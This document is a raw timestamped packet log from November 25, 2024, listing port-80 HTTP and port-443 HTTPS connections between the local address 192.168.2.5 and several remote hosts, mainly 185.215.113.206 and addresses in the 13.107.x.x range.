Nov 25, 2024 18:28:40.552490950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.552664042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.552707911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.552860975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.552937031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.552980900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.553833008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.553973913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.554040909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.554711103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.554759026 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.554780006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.554908991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.555648088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.555762053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.555792093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.555805922 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.556515932 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.556603909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.556694984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.557393074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.557550907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.557605028 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.558327913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.558402061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.558530092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.558583975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.559355974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.559369087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.559418917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.560184956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.560260057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.560301065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.560406923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.561151028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.561208963 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.561240911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.561276913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.561938047 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.561986923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.562131882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.562556028 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.562891006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.562908888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.562941074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.562963009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.563957930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.564003944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.564011097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.564047098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.564196110 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.564218998 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.564285040 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.564296007 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.564322948 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.564337015 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.564837933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.565124989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.565176964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.565608025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.565656900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.565694094 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.566411972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.566463947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.566693068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.566737890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.567377090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.567425966 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.567640066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.568074942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.568228960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.568434954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.568485022 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.569382906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.569451094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.569473982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.569488049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.570476055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.570537090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.570585012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.570995092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.571048975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.571058989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.571103096 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.572329044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.572423935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.572438955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.572899103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.572911978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.572968006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.573185921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.573786020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.573878050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.573920965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.574798107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.574847937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.574975014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.575046062 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.575856924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.575903893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.576042891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.576268911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.576951027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.577039957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.577090025 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.577670097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.577716112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.577721119 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.577760935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.578552961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.578603029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.578690052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.578730106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.579559088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.579608917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.579643965 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.579787016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.580646992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.580662012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.580693007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.580704927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.581525087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.581887960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.581935883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.582413912 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.582463026 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.582994938 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.583044052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.583086967 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.583158970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.583334923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.583590984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.584096909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.584156990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.584239960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.584285021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.584903002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.585011005 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.677232981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.677295923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.677403927 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.677444935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.677660942 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.677684069 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.677712917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.677746058 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.677769899 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.677783012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.677807093 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.677845955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.677876949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.678704023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.678759098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.678853989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.678889036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.679790974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.679815054 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.679867983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.680598974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.680674076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.680705070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.680820942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.681499004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.681548119 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.681688070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.681791067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.682473898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.682531118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.682532072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.682799101 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.683258057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.683358908 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.683445930 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.683562040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.684230089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.684336901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.684618950 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.684669018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.685199022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.685344934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.685502052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.685549021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.685945988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.685997009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.686897993 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.686918974 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.686985970 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.686997890 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.687125921 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.695509911 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.695554018 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.695585966 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.695596933 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.695621967 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.695645094 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.708770037 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.708811998 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.708862066 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.708865881 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.708890915 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.708916903 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.709666014 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.709693909 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.721329927 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.721354008 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.721470118 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.721491098 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.722106934 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.752862930 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.752887011 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.752968073 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.752980947 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.753029108 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.776839018 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.783883095 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.783910990 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.783963919 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.783977985 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.784004927 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.784025908 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.800453901 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.800479889 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.801043987 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.801048994 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.832495928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.880662918 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.880707026 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.880753994 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.880767107 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.880778074 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.880800009 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.880826950 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.881330967 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:40.881345034 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:40.953007936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.041846991 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.043435097 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.043450117 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.044214010 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.044219971 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.082473040 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.084743023 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.084780931 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.091391087 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.091401100 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.126081944 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.127276897 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.127298117 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.127774000 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.127779007 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.150914907 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.150958061 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.151185989 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151279926 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151318073 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.151408911 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151480913 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151509047 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.151606083 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151613951 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.151633978 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151746035 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151799917 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.151808023 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.151853085 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152007103 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152018070 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.152101040 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152323961 CET	49835	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152348995 CET	443	49835	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.152471066 CET	49836	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152486086 CET	443	49836	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.152591944 CET	49837	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152606010 CET	443	49837	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.152669907 CET	49838	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152683020 CET	443	49838	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.152812004 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152821064 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.152924061 CET	49840	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:41.152936935 CET	443	49840	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:41.235445976 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.235508919 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.235760927 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.236077070 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.236099005 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.236109972 CET	49828	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.236115932 CET	443	49828	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.239209890 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.239236116 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.239383936 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.239640951 CET	49841	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.239654064 CET	443	49841	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.250222921 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.250865936 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.250880003 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.251367092 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.251386881 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.317862034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.317903042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.317969084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.318234921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.318312883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.318360090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.318466902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.319188118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.319242001 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.319417000 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.319473028 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.320067883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.320135117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.320151091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.320348024 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.321006060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.321077108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.321360111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.321424007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.321907043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.321943045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.321964979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.321989059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.322860003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.322886944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.322945118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.323838949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.323905945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.324021101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.324083090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.324615955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.324764013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.324811935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.325696945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.325758934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.325974941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.326035023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.326404095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.326452971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.326730013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.326792002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.327346087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.327398062 CET	49761	80	192.168.2.5	185.215.113.206
